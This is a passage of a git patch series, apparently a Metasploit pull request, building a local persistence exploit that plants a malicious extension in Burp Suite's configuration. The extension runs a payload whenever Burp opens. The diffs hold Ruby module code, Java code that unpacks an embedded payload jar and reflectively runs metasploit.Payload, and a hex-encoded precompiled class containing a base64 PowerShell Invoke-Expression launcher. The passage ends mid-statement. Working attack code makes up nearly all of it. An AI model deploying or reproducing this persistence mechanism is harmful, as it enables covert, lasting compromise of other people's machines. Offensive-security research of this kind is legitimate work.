=> [ARCH_JAVA] } ], + ['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ], + [ + 'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, { + 'Payload' => + { 'Space' => 8_191 - 'cmd.exe /c '.length } + } + ], ], 'Actions' => [ ['precompiled', { 'Description' => 'Utilized pre-compiled bytecode' }], @@ -71,7 +76,7 @@ def initialize(info = {}) register_options([ OptString.new('NAME', [ false, 'Name of the extension', '' ]), OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), - OptString.new('WritableDir', [ true, 'A directory where we can write the extension', '' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write the extension']), OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), ]) register_advanced_options([ @@ -213,12 +218,20 @@ def run_local_gradle_build(extension_name) java_file = File.join(temp_dir, 'src', 'main', 'resources', 'name.txt') File.open(java_file, 'wb') { |file| file.puts extension_name } - # Modify command.txt where we put our payload command - java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt') - File.open(java_file, 'wb') { |file| file.puts payload.encoded } + if target.name == 'Java' + # delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed + File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')) + java_file = File.join(temp_dir, 'src', 'main', 'burp_extension_pload.jar') + payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload') + File.open(java_file, 'wb') { |file| file.puts payload_jar.pack } + else + # Modify command.txt where we put our payload command + java_file = File.join(temp_dir, 'src', 'main', 'resources', 'command.txt') + File.open(java_file, 'wb') { |file| file.puts payload.encoded } + end # Run gradle clean build - vprint_status('Building Burp extension jar file') + vprint_status("Building Burp extension jar file in #{temp_dir}") Dir.chdir(temp_dir) do system("#{datastore['GRADLE']} clean build") end @@ -291,7 +304,7 @@ def compiled_extension(extension_name) def exploit # RuntimeError `writable?' method does not support Windows systems if !['windows', 'win'].include?(session.platform) && !writable?(datastore['WritableDir']) - fail_with(Failure::NotFound, "Unable to write to: #{datastore['WritableDir']}") + fail_with(Failure::NotFound, "Unable to write to WritableDir: #{datastore['WritableDir']}") end extension_name = extension_name_generator print_status("Using extension name: #{extension_name}") From 30e8ede308816cb458dffe020e784bf3038ec4be Mon Sep 17 00:00:00 2001 From: h00die Date: Sun, 12 Jan 2025 11:35:17 -0500 Subject: [PATCH 07/23] windows and linux build portions working, debugging java --- .../src/main/java/BurpExtender.java | 41 ++++++++++++++++--- .../multi/local/burp_extension_persistence.rb | 4 +- 2 files changed, 37 insertions(+), 8 deletions(-) diff --git a/data/exploits/burp_extension/src/main/java/BurpExtender.java b/data/exploits/burp_extension/src/main/java/BurpExtender.java index bf18e18ba218b..7c97fbf7607c6 100644 --- a/data/exploits/burp_extension/src/main/java/BurpExtender.java +++ b/data/exploits/burp_extension/src/main/java/BurpExtender.java @@ -5,6 +5,9 @@ import java.io.PrintWriter; import java.nio.charset.StandardCharsets; import java.util.Scanner; +import java.net.URL; +import java.net.URLClassLoader; +import java.lang.reflect.Method; public class BurpExtender implements IBurpExtender { @Override @@ -53,13 +56,39 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { } } else { stdout.println("XXX using jar file"); - // Run burp_extension_pload.jar if command.txt does not exist - String jarCommand = "java -jar burp_extension_pload.jar"; + // Load burp_extension_pload.jar from resources + stdout.println("XXX getting resource as stream"); + InputStream jarInputStream = getClass().getClassLoader().getResourceAsStream("burp_extension_pload.jar"); + if (jarInputStream == null) { + throw new Exception("burp_extension_pload.jar not found in resources"); + } - if (os.contains("win")) { - process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", jarCommand}); - } else { - process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", jarCommand}); + // Save the jar to a temporary file + stdout.println("XXX creating temp jar file"); + File tempJar = File.createTempFile("burp_extension_pload", ".jar"); + tempJar.deleteOnExit(); + + stdout.println("XXX writing temp content"); + try (InputStream inputStream = jarInputStream) { // Declare jarInputStream as a resource + java.nio.file.Files.copy(inputStream, tempJar.toPath(), java.nio.file.StandardCopyOption.REPLACE_EXISTING); + } + + // Load the jar using URLClassLoader + stdout.println("Loading internal jar."); + try (URLClassLoader classLoader = new URLClassLoader( + new URL[]{tempJar.toURI().toURL()}, + null // Use null for an isolated class loader + )) { + Class mainClass = classLoader.loadClass("metasploit.Payload"); + Method mainMethod = mainClass.getDeclaredMethod("main", String[].class); + mainMethod.invoke(null, (Object) new String[]{}); + } catch (ClassNotFoundException e) { + stderr.println("Class not found: " + e.getMessage()); + } catch (NoSuchMethodException e) { + stderr.println("Main method not found: " + e.getMessage()); + } catch (Exception e) { + stderr.println("Error loading jar file (" + tempJar.toPath() + "): " + e.getMessage()); + e.printStackTrace(stderr); } } diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index 0e80f0a4c950c..c2cdd95a5b076 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -221,7 +221,7 @@ def run_local_gradle_build(extension_name) if target.name == 'Java' # delete the /src/main/resources/command.txt file copied over in the cp_r as its not needed File.delete(File.join(temp_dir, 'src', 'main', 'resources', 'command.txt')) - java_file = File.join(temp_dir, 'src', 'main', 'burp_extension_pload.jar') + java_file = File.join(temp_dir, 'src', 'main', 'resources', 'burp_extension_pload.jar') payload_jar = generate_payload.encoded_jar(main_class: 'burp_extension_pload') File.open(java_file, 'wb') { |file| file.puts payload_jar.pack } else @@ -238,7 +238,7 @@ def run_local_gradle_build(extension_name) # Check if the jar file was created jar_file = File.join(temp_dir, 'build', 'libs', 'MetasploitPayloadExtension.jar') - fails_with('Failed to create MetasploitPayloadExtension.jar') unless File.exist?(jar_file) + fail_with(Failure::NotFound, 'Failed to build burp extension') unless File.exist?(jar_file) File.read(jar_file) end From c272d8a0aa0b3af53fe65691297b68c0df0658bb Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 21 Jan 2025 07:05:23 -0500 Subject: [PATCH 08/23] burp extension persistence --- .../src/main/java/BurpExtender.java | 2 +- .../multi/local/burp_extension_persistence.rb | 157 +++++++++++++----- 2 files changed, 113 insertions(+), 46 deletions(-) diff --git a/data/exploits/burp_extension/src/main/java/BurpExtender.java b/data/exploits/burp_extension/src/main/java/BurpExtender.java index 7c97fbf7607c6..656234670fc7f 100644 --- a/data/exploits/burp_extension/src/main/java/BurpExtender.java +++ b/data/exploits/burp_extension/src/main/java/BurpExtender.java @@ -74,7 +74,7 @@ public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { } // Load the jar using URLClassLoader - stdout.println("Loading internal jar."); + stdout.println("Loading internal pload jar"); try (URLClassLoader classLoader = new URLClassLoader( new URL[]{tempJar.toURI().toURL()}, null // Use null for an isolated class loader diff --git a/modules/exploits/multi/local/burp_extension_persistence.rb b/modules/exploits/multi/local/burp_extension_persistence.rb index c2cdd95a5b076..1d0f4c80a089f 100644 --- a/modules/exploits/multi/local/burp_extension_persistence.rb +++ b/modules/exploits/multi/local/burp_extension_persistence.rb @@ -22,8 +22,6 @@ def initialize(info = {}) This module adds a java based malicious extension to the Burp Suite configuration file. When burp is opened, the extension will be loaded and the payload will be executed. - - Tested against Burp Suite Community Edition v2024.9.4 on Kali. Tested against Burp Suite Professional ??? on Kali. Tested against Burp Suite Community Edition v2024.10.3 on Windows 10. @@ -50,7 +48,11 @@ def initialize(info = {}) 'Stance' => Msf::Exploit::Stance::Passive, 'Passive' => true, 'Targets' => [ - ['Java', { 'Platform' => 'java', 'Arch' => [ARCH_JAVA] } ], + [ + 'Java', { + 'Platform' => 'java', 'Arch' => [ARCH_JAVA] + } + ], ['Linux', { 'Platform' => 'unix', 'Arch' => [ARCH_CMD] } ], [ 'Windows', { 'Platform' => 'windows', 'Arch' => [ARCH_CMD] }, { @@ -245,48 +247,113 @@ def run_local_gradle_build(extension_name) def compiled_extension(extension_name) # see data/exploits/burp_extension/notes.txt on how to get this content - burp_extension_class = "\xca\xfe\xba\xbe\x00\x00\x008\x00\xb6\x0a\x00\x02\x00\x03\x07\x00\x04\x0c\x00\x05\x00\x06\x01\x00\x10java/lang/Object\x01\x00\x06\x01\x00\x03()V\x0a\x00\x02\x00\x08\x0c\x00" - burp_extension_class << "\x09\x00\x0a\x01\x00\x08getClass\x01\x00\x13()Ljava/lang/Class;\x0a\x00\x0c\x00\x0d\x07\x00\x0e\x0c\x00\x0f\x00\x10\x01\x00\x0fjava/lang/Class\x01\x00\x0egetClassLoader\x01" - burp_extension_class << "\x00\x19()Ljava/lang/ClassLoader;\x08\x00\x12\x01\x00\x08name.txt\x0a\x00\x14\x00\x15\x07\x00\x16\x0c\x00\x17\x00\x18\x01\x00\x15java/lang/ClassLoader\x01" - burp_extension_class << "\x00\x13getResourceAsStream\x01\x00)(Ljava/lang/String;)Ljava/io/InputStream;\x07\x00\x1a\x01\x00\x11java/util/Scanner\x09\x00\x1c\x00\x1d\x07\x00\x1e\x0c\x00\x1f\x00 \x01" - burp_extension_class << "\x00!java/nio/charset/StandardCharsets\x01\x00\x05UTF_8\x01\x00\x1aLjava/nio/charset/Charset;\x0a\x00\"\x00#\x07\x00$\x0c\x00%\x00&\x01\x00\x18java/nio/charset/Charset\x01" - burp_extension_class << "\x00\x04name\x01\x00\x14()Ljava/lang/String;\x0a\x00\x19\x00(\x0c\x00\x05\x00)\x01\x00*(Ljava/io/InputStream;Ljava/lang/String;)V\x08\x00+\x01\x00\x02\\A\x0a\x00\x19\x00-\x0c" - burp_extension_class << "\x00.\x00/\x01\x00\x0cuseDelimiter\x01\x00'(Ljava/lang/String;)Ljava/util/Scanner;\x0a\x00\x19\x001\x0c\x002\x00&\x01\x00\x04next\x0a\x004\x005\x07\x006\x0c\x007\x00&\x01" - burp_extension_class << "\x00\x10java/lang/String\x01\x00\x04trim\x0b\x009\x00:\x07\x00;\x0c\x00<\x00=\x01\x00\x1bburp/IBurpExtenderCallbacks\x01\x00\x10setExtensionName\x01\x00\x15(Ljava/lang/String;)V" - burp_extension_class << "\x08\x00?\x01\x00\x0bcommand.txt\x07\x00A\x01\x00\x13java/io/PrintWriter\x0b\x009\x00C\x0c\x00D\x00E\x01\x00\x09getStdout\x01\x00\x18()Ljava/io/OutputStream;\x0a\x00@\x00G\x0c" - burp_extension_class << "\x00\x05\x00H\x01\x00\x1a(Ljava/io/OutputStream;Z)V\x0b\x009\x00J\x0c\x00K\x00E\x01\x00\x09getStderr\x08\x00M\x01\x00\x07os.name\x0a\x00O\x00P\x07\x00Q\x0c\x00R\x00S\x01" - burp_extension_class << "\x00\x10java/lang/System\x01\x00\x0bgetProperty\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x0a\x004\x00U\x0c\x00V\x00&\x01\x00\x0btoLowerCase\x08\x00X\x01" - burp_extension_class << "\x00\x17Initializing extension.\x0a\x00@\x00Z\x0c\x00[\x00=\x01\x00\x07println\x08\x00]\x01\x00\x03win\x0a\x004\x00_\x0c\x00`\x00a\x01\x00\x08contains\x01" - burp_extension_class << "\x00\x1b(Ljava/lang/CharSequence;)Z\x12\x00\x00\x00c\x0c\x00d\x00S\x01\x00\x17makeConcatWithConstants\x0a\x00f\x00g\x07\x00h\x0c\x00i\x00j\x01\x00\x11java/lang/Runtime\x01" - burp_extension_class << "\x00\x0agetRuntime\x01\x00\x15()Ljava/lang/Runtime;\x08\x00l\x01\x00\x07cmd.exe\x08\x00n\x01\x00\x02/c\x0a\x00f\x00p\x0c\x00q\x00r\x01\x00\x04exec\x01" - burp_extension_class << "\x00(([Ljava/lang/String;)Ljava/lang/Process;\x08\x00t\x01\x00\x09/bin/bash\x08\x00v\x01\x00\x02-c\x08\x00x\x01\x00 Finished initializing extension.\x07\x00z\x01" - burp_extension_class << "\x00\x13java/lang/Exception\x0a\x00y\x00|\x0c\x00}\x00&\x01\x00\x0agetMessage\x12\x00\x01\x00c\x07\x00\x80\x01\x00\x11burp/BurpExtender\x07\x00\x82\x01" - burp_extension_class << "\x00\x12burp/IBurpExtender\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00\x13Lburp/BurpExtender;\x01" - burp_extension_class << "\x00\x19registerExtenderCallbacks\x01\x00 (Lburp/IBurpExtenderCallbacks;)V\x01\x00\x0ewindowsCommand\x01\x00\x12Ljava/lang/String;\x01\x00\x07process\x01\x00" - burp_extension_class << "\x13Ljava/lang/Process;\x01\x00\x01e\x01\x00\x15Ljava/lang/Exception;\x01\x00\x09callbacks\x01\x00\x1dLburp/IBurpExtenderCallbacks;\x01\x00\x0fnameInputStream\x01" - burp_extension_class << "\x00\x15Ljava/io/InputStream;\x01\x00\x0bnameScanner\x01\x00\x13Ljava/util/Scanner;\x01\x00\x0dextensionName\x01\x00\x12commandInputStream\x01\x00\x0ecommandScanner\x01" - burp_extension_class << "\x00\x07command\x01\x00\x06stdout\x01\x00\x15Ljava/io/PrintWriter;\x01\x00\x06stderr\x01\x00\x02os\x01\x00\x0dStackMapTable\x07\x00\xa0\x01\x00\x13java/io/InputStream\x07\x00" - burp_extension_class << "\xa2\x01\x00\x11java/lang/Process\x01\x00\x0aSourceFile\x01\x00\x11BurpExtender.java\x01\x00\x10BootstrapMethods\x08\x00\xa7" - burp_extension_class << "\x01\x00ipowershell.exe -Command \"\x01[Convert]::FromBase64String | ForEach-Object {$_ -join ''} | Invoke-Expression\"\x08\x00\xa9\x01" - burp_extension_class << "\x00\x1aError loading extension: \x01\x0f\x06\x00\xab\x0a\x00\xac\x00\xad\x07\x00\xae\x0c\x00d\x00\xaf\x01\x00$java/lang/invoke/StringConcatFactory\x01" - burp_extension_class << "\x00\x98(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/invoke/CallSite;\x01" - burp_extension_class << "\x00\x0cInnerClasses\x07\x00\xb2\x01\x00%java/lang/invoke/MethodHandles$Lookup\x07\x00\xb4\x01\x00\x1ejava/lang/invoke/MethodHandles\x01\x00\x06Lookup\x00!\x00\x7f\x00\x02" - burp_extension_class << "\x00\x01\x00\x81\x00\x00\x00\x02\x00\x01\x00\x05\x00\x06\x00\x01\x00\x83\x00\x00\x00/\x00\x01\x00\x01\x00\x00\x00\x05*\xb7\x00\x01\xb1\x00\x00\x00\x02\x00\x84\x00\x00\x00" - burp_extension_class << "\x06\x00\x01\x00\x00\x00\x09\x00\x85\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x00\x86\x00\x87\x00\x00\x00\x01\x00\x88\x00\x89\x00\x01\x00\x83\x00\x00\x02i\x00\x05\x00\x0d" - burp_extension_class << "\x00\x00\x00\xf9*\xb6\x00\x07\xb6\x00\x0b\x12\x11\xb6\x00\x13M\xbb\x00\x19Y,\xb2\x00\x1b\xb6\x00!\xb7\x00'N-\x12*\xb6\x00,\xb6\x000\xb6\x003:\x04+\x19\x04\xb9\x008\x02\x00*" - burp_extension_class << "\xb6\x00\x07\xb6\x00\x0b\x12>\xb6\x00\x13:\x05\xbb\x00\x19Y\x19\x05\xb2\x00\x1b\xb6\x00!\xb7\x00':\x06\x19\x06\x12*\xb6\x00,\xb6\x000\xb6\x003:\x07\xbb\x00@Y+\xb9\x00B\x01" - burp_extension_class << "\x00\x04\xb7\x00F:\x08\xbb\x00@Y+\xb9\x00I\x01\x00\x04\xb7\x00F:\x09\x12L\xb8\x00N\xb6\x00T:\x0a\x19\x08\x12W\xb6\x00Y\x19\x0a\x12\\\xb6\x00^\x99\x00*\x19\x07\xba\x00b\x00" - burp_extension_class << "\x00:\x0c\xb8\x00e\x06\xbd\x004Y\x03\x12kSY\x04\x12mSY\x05\x19\x0cS\xb6\x00o:\x0b\xa7\x00\x1e\xb8\x00e\x06\xbd\x004Y\x03\x12sSY\x04\x12uSY\x05\x19\x07S\xb6\x00o:\x0b\x19" - burp_extension_class << "\x08\x12w\xb6\x00Y\xa7\x00\x14:\x0c\x19\x09\x19\x0c\xb6\x00{\xba\x00~\x00\x00\xb6\x00Y\xb1\x00\x01\x00\x8a\x00\xe4\x00\xe7\x00y\x00\x03\x00\x84\x00\x00\x00V\x00\x15\x00\x00" - burp_extension_class << "\x00\x0d\x00\x0d\x00\x0e\x00\x1c\x00\x0f\x00*\x00\x10\x002\x00\x13\x00@\x00\x14\x00Q\x00\x15\x00`\x00\x18\x00p\x00\x19\x00\x80\x00\x1c\x00\x8a\x00 \x00\x91\x00\"\x00\x9b" - burp_extension_class << "\x00$\x00\xa4\x00(\x00\xbf\x00)\x00\xc2\x00+\x00\xdd\x00-\x00\xe4\x000\x00\xe7\x00.\x00\xe9\x00/\x00\xf8\x001\x00\x85\x00\x00\x00\x98\x00\x0f\x00\xa4\x00\x1b\x00\x8a\x00" - burp_extension_class << "\x8b\x00\x0c\x00\xbf\x00\x03\x00\x8c\x00\x8d\x00\x0b\x00\xdd\x00\x0a\x00\x8c\x00\x8d\x00\x0b\x00\xe9\x00\x0f\x00\x8e\x00\x8f\x00\x0c\x00\x00\x00\xf9\x00\x86\x00\x87\x00\x00" - burp_extension_class << "\x00\x00\x00\xf9\x00\x90\x00\x91\x00\x01\x00\x0d\x00\xec\x00\x92\x00\x93\x00\x02\x00\x1c\x00\xdd\x00\x94\x00\x95\x00\x03\x00*\x00\xcf\x00\x96\x00\x8b\x00\x04\x00@\x00\xb9\x00" - burp_extension_class << "\x97\x00\x93\x00\x05\x00Q\x00\xa8\x00\x98\x00\x95\x00\x06\x00`\x00\x99\x00\x99\x00\x8b\x00\x07\x00p\x00\x89\x00\x9a\x00\x9b\x00\x08\x00\x80\x00y\x00\x9c\x00\x9b\x00\x09\x00" - burp_extension_class << "\x8a\x00o\x00\x9d\x00\x8b\x00\x0a\x00\x9e\x00\x00\x00\\\x00\x04\xff\x00\xc2\x00\x0b\x07\x00\x7f\x07\x009\x07\x00\x9f\x07\x00\x19\x07\x004\x07\x00\x9f\x07\x00\x19\x07\x004\x07" - burp_extension_class << "\x00@\x07\x00@\x07\x004\x00\x00\xfc\x00\x1a\x07\x00\xa1\xff\x00\x09\x00\x0b\x07\x00\x7f\x07\x009\x07\x00\x9f\x07\x00\x19\x07\x004\x07\x00\x9f\x07\x00\x19\x07\x004\x07\x00@\x07" - burp_extension_class << "\x00@\x07\x004\x00\x01\x07\x00y\x10\x00\x03\x00\xa3\x00\x00\x00\x02\x00\xa4\x00\xa5\x00\x00\x00\x0e\x00\x02\x00\xaa\x00\x01\x00\xa6\x00\xaa\x00\x01\x00\xa8\x00\xb0\x00\x00\x00" - burp_extension_class << "\x0a\x00\x01\x00\xb1\x00\xb3\x00\xb5\x00\x19" + burp_extension_class = "\xca\xfe\xba\xbe\x00\x00\x008\x01E\x0a\x00\x02\x00\x03\x07\x00\x04\x0c\x00\x05\x00\x06\x01\x00\x10java/lang/Object\x01" + burp_extension_class << "\x00\x06\x01\x00\x03()V\x0a\x00\x02\x00\x08\x0c\x00\x09\x00\x0a\x01\x00\x08getClass\x01\x00\x13()Ljava/lang/Class;" + burp_extension_class << "\x0a\x00\x0c\x00\x0d\x07\x00\x0e\x0c\x00\x0f\x00\x10\x01\x00\x0fjava/lang/Class\x01\x00\x0egetClassLoader\x01\x00\x19" + burp_extension_class << "()Ljava/lang/ClassLoader;\x08\x00\x12\x01\x00\x08name.txt\x0a\x00\x14\x00\x15\x07\x00\x16\x0c\x00\x17\x00\x18\x01\x00" + burp_extension_class << "\x15java/lang/ClassLoader\x01\x00\x13getResourceAsStream\x01\x00)(Ljava/lang/String;)Ljava/io/InputStream;\x07\x00\x1a" + burp_extension_class << "\x01\x00\x11java/util/Scanner\x09\x00\x1c\x00\x1d\x07\x00\x1e\x0c\x00\x1f\x00 \x01\x00!java/nio/charset/StandardCharsets" + burp_extension_class << "\x01\x00\x05UTF_8\x01\x00\x1aLjava/nio/charset/Charset;\x0a\x00\"\x00#\x07\x00$\x0c\x00%\x00&\x01\x00\x18" + burp_extension_class << "java/nio/charset/Charset\x01\x00\x04name\x01\x00\x14()Ljava/lang/String;\x0a\x00\x19\x00(\x0c\x00\x05\x00)\x01\x00" + burp_extension_class << "*(Ljava/io/InputStream;Ljava/lang/String;)V\x08\x00+\x01\x00\x02\\A\x0a\x00\x19\x00-\x0c\x00.\x00/\x01\x00\x0cuseDelimiter" + burp_extension_class << "\x01\x00'(Ljava/lang/String;)Ljava/util/Scanner;\x0a\x00\x19\x001\x0c\x002\x00&\x01\x00\x04next\x0a\x004\x005\x07\x006\x0c" + burp_extension_class << "\x007\x00&\x01\x00\x10java/lang/String\x01\x00\x04trim\x0b\x009\x00:\x07\x00;\x0c\x00<\x00=\x01\x00\x1bburp/IBurpExtenderCallbacks" + burp_extension_class << "\x01\x00\x10setExtensionName\x01\x00\x15(Ljava/lang/String;)V\x07\x00?\x01\x00\x13java/io/PrintWriter\x0b\x009\x00A\x0c\x00B" + burp_extension_class << "\x00C\x01\x00\x09getStdout\x01\x00\x18()Ljava/io/OutputStream;\x0a\x00>\x00E\x0c\x00\x05\x00F\x01\x00\x1a(Ljava/io/OutputStream;Z)V" + burp_extension_class << "\x0b\x009\x00H\x0c\x00I\x00C\x01\x00\x09getStderr\x08\x00K\x01\x00\x07os.name\x0a\x00M\x00N\x07\x00O\x0c\x00P\x00Q\x01\x00" + burp_extension_class << "\x10java/lang/System\x01\x00\x0bgetProperty\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x0a\x004\x00S\x0c\x00T\x00&\x01" + burp_extension_class << "\x00\x0btoLowerCase\x08\x00V\x01\x00\x17Initializing extension.\x0a\x00>\x00X\x0c\x00Y\x00=\x01\x00\x07println\x08\x00[\x01" + burp_extension_class << "\x00\x0bcommand.txt\x08\x00]\x01\x00\x03win\x0a\x004\x00_\x0c\x00`\x00a\x01\x00\x08contains\x01\x00\x1b(Ljava/lang/CharSequence;)Z" + burp_extension_class << "\x08\x00c\x01\x00\x07command\x08\x00e\x01\x00\x04.bat\x0a\x00g\x00h\x07\x00i\x0c\x00j\x00k\x01\x00\x0cjava/io/File\x01\x00\x0e" + burp_extension_class << "createTempFile\x01\x004(Ljava/lang/String;Ljava/lang/String;)Ljava/io/File;\x0a\x00g\x00m\x0c\x00n\x00\x06\x01\x00\x0cdeleteOnExit" + burp_extension_class << "\x0a\x00>\x00p\x0c\x00\x05\x00q\x01\x00#(Ljava/io/File;Ljava/lang/String;)V\x08\x00s\x01\x00\x09@echo off\x0a\x00>\x00u\x0c\x00v\x00" + burp_extension_class << "\x06\x01\x00\x05close\x07\x00x\x01\x00\x13java/lang/Throwable\x0a\x00w\x00z\x0c\x00{\x00|\x01\x00\x0daddSuppressed\x01\x00\x18" + burp_extension_class << "(Ljava/lang/Throwable;)V\x0a\x00~\x00\x7f\x07\x00\x80\x0c\x00\x81\x00\x82\x01\x00\x11java/lang/Runtime\x01\x00\x0agetRuntime\x01" + burp_extension_class << "\x00\x15()Ljava/lang/Runtime;\x08\x00\x84\x01\x00\x07cmd.exe\x08\x00\x86\x01\x00\x02/c\x0a\x00g\x00\x88\x0c\x00\x89\x00&\x01\x00" + burp_extension_class << "\x0fgetAbsolutePath\x0a\x00~\x00\x8b\x0c\x00\x8c\x00\x8d\x01\x00\x04exec\x01\x00(([Ljava/lang/String;)Ljava/lang/Process;\x08\x00" + burp_extension_class << "\x8f\x01\x00\x09/bin/bash\x08\x00\x91\x01\x00\x02-c\x08\x00\x93\x01\x00\x12XXX using jar file\x08\x00\x95\x01\x00" + burp_extension_class << "\x1eXXX getting resource as stream\x08\x00\x97\x01\x00\x18burp_extension_pload.jar\x07\x00\x99\x01\x00\x13java/lang/Exception\x08" + burp_extension_class << "\x00\x9b\x01\x00/burp_extension_pload.jar not found in resources\x0a\x00\x98\x00\x9d\x0c\x00\x05\x00=\x08\x00\x9f\x01\x00" + burp_extension_class << "\x1aXXX creating temp jar file\x08\x00\xa1\x01\x00\x14burp_extension_pload\x08\x00\xa3\x01\x00\x04.jar\x08\x00\xa5\x01\x00" + burp_extension_class << "\x18XXX writing temp content\x0a\x00g\x00\xa7\x0c\x00\xa8\x00\xa9\x01\x00\x06toPath\x01\x00\x16()Ljava/nio/file/Path;\x07\x00\xab" + burp_extension_class << "\x01\x00\x18java/nio/file/CopyOption\x09\x00\xad\x00\xae\x07\x00\xaf\x0c\x00\xb0\x00\xb1\x01\x00 java/nio/file/StandardCopyOption" + burp_extension_class << "\x01\x00\x10REPLACE_EXISTING\x01\x00\"Ljava/nio/file/StandardCopyOption;\x0a\x00\xb3\x00\xb4\x07\x00\xb5\x0c\x00\xb6\x00\xb7\x01" + burp_extension_class << "\x00\x13java/nio/file/Files\x01\x00\x04copy\x01\x00G(Ljava/io/InputStream;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)J\x0a\x00" + burp_extension_class << "\xb9\x00u\x07\x00\xba\x01\x00\x13java/io/InputStream\x08\x00\xbc\x01\x00\x1aLoading internal pload jar\x07\x00\xbe\x01\x00" + burp_extension_class << "\x17java/net/URLClassLoader\x07\x00\xc0\x01\x00\x0cjava/net/URL\x0a\x00g\x00\xc2\x0c\x00\xc3\x00\xc4\x01\x00\x05toURI\x01\x00" + burp_extension_class << "\x10()Ljava/net/URI;\x0a\x00\xc6\x00\xc7\x07\x00\xc8\x0c\x00\xc9\x00\xca\x01\x00\x0cjava/net/URI\x01\x00\x05toURL\x01\x00" + burp_extension_class << "\x10()Ljava/net/URL;\x0a\x00\xbd\x00\xcc\x0c\x00\x05\x00\xcd\x01\x00)([Ljava/net/URL;Ljava/lang/ClassLoader;)V\x08\x00\xcf\x01\x00" + burp_extension_class << "\x12metasploit.Payload\x0a\x00\xbd\x00\xd1\x0c\x00\xd2\x00\xd3\x01\x00\x09loadClass\x01\x00%(Ljava/lang/String;)Ljava/lang/Class;\x08" + burp_extension_class << "\x00\xd5\x01\x00\x04main\x07\x00\xd7\x01\x00\x13[Ljava/lang/String;\x0a\x00\x0c\x00\xd9\x0c\x00\xda\x00\xdb\x01\x00" + burp_extension_class << "\x11getDeclaredMethod\x01\x00@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;\x0a\x00\xdd\x00\xde\x07\x00\xdf\x0c" + burp_extension_class << "\x00\xe0\x00\xe1\x01\x00\x18java/lang/reflect/Method\x01\x00\x06invoke\x01\x009(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;" + burp_extension_class << "\x0a\x00\xbd\x00u\x07\x00\xe4\x01\x00 java/lang/ClassNotFoundException\x0a\x00\xe3\x00\xe6\x0c\x00\xe7\x00&\x01\x00\x0agetMessage\x12" + burp_extension_class << "\x00\x00\x00\xe9\x0c\x00\xea\x00Q\x01\x00\x17makeConcatWithConstants\x07\x00\xec\x01\x00\x1fjava/lang/NoSuchMethodException\x0a\x00" + burp_extension_class << "\xeb\x00\xe6\x12\x00\x01\x00\xe9\x0a\x004\x00\xf0\x0c\x00\xf1\x00\xf2\x01\x00\x07valueOf\x01\x00&(Ljava/lang/Object;)Ljava/lang/String;" + burp_extension_class << "\x0a\x00\x98\x00\xe6\x12\x00\x02\x00\xf5\x0c\x00\xea\x00\xf6\x01\x008(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;\x0a\x00" + burp_extension_class << "\x98\x00\xf8\x0c\x00\xf9\x00\xfa\x01\x00\x0fprintStackTrace\x01\x00\x18(Ljava/io/PrintWriter;)V\x08\x00\xfc\x01" + burp_extension_class << "\x00 Finished initializing extension.\x12\x00\x03\x00\xe9\x07\x00\xff\x01\x00\x11burp/BurpExtender\x07\x01\x01\x01\x00" + burp_extension_class << "\x12burp/IBurpExtender\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00" + burp_extension_class << "\x13Lburp/BurpExtender;\x01\x00\x19registerExtenderCallbacks\x01\x00 (Lburp/IBurpExtenderCallbacks;)V\x01\x00\x06writer\x01\x00" + burp_extension_class << "\x15Ljava/io/PrintWriter;\x01\x00\x0atempScript\x01\x00\x0eLjava/io/File;\x01\x00\x07process\x01\x00\x13Ljava/lang/Process;\x01\x00" + burp_extension_class << "\x0ecommandScanner\x01\x00\x13Ljava/util/Scanner;\x01\x00\x12Ljava/lang/String;\x01\x00\x0binputStream\x01\x00\x15Ljava/io/InputStream;" + burp_extension_class << "\x01\x00\x09mainClass\x01\x00\x11Ljava/lang/Class;\x01\x00\x0amainMethod\x01\x00\x1aLjava/lang/reflect/Method;\x01\x00\x0bclassLoader" + burp_extension_class << "\x01\x00\x19Ljava/net/URLClassLoader;\x01\x00\x01e\x01\x00\"Ljava/lang/ClassNotFoundException;\x01\x00!Ljava/lang/NoSuchMethodException;" + burp_extension_class << "\x01\x00\x15Ljava/lang/Exception;\x01\x00\x0ejarInputStream\x01\x00\x07tempJar\x01\x00\x12commandInputStream\x01\x00\x09callbacks\x01\x00" + burp_extension_class << "\x1dLburp/IBurpExtenderCallbacks;\x01\x00\x0fnameInputStream\x01\x00\x0bnameScanner\x01\x00\x0dextensionName\x01\x00\x06stdout\x01\x00" + burp_extension_class << "\x06stderr\x01\x00\x02os\x01\x00\x16LocalVariableTypeTable\x01\x00\x14Ljava/lang/Class<*>;\x01\x00\x0dStackMapTable\x07\x01-\x01\x00" + burp_extension_class << "\x11java/lang/Process\x01\x00\x0aSourceFile\x01\x00\x11BurpExtender.java\x01\x00\x10BootstrapMethods\x0f\x06\x012\x0a\x013\x014\x07\x015" + burp_extension_class << "\x0c\x00\xea\x016\x01\x00$java/lang/invoke/StringConcatFactory\x01\x00" + burp_extension_class << 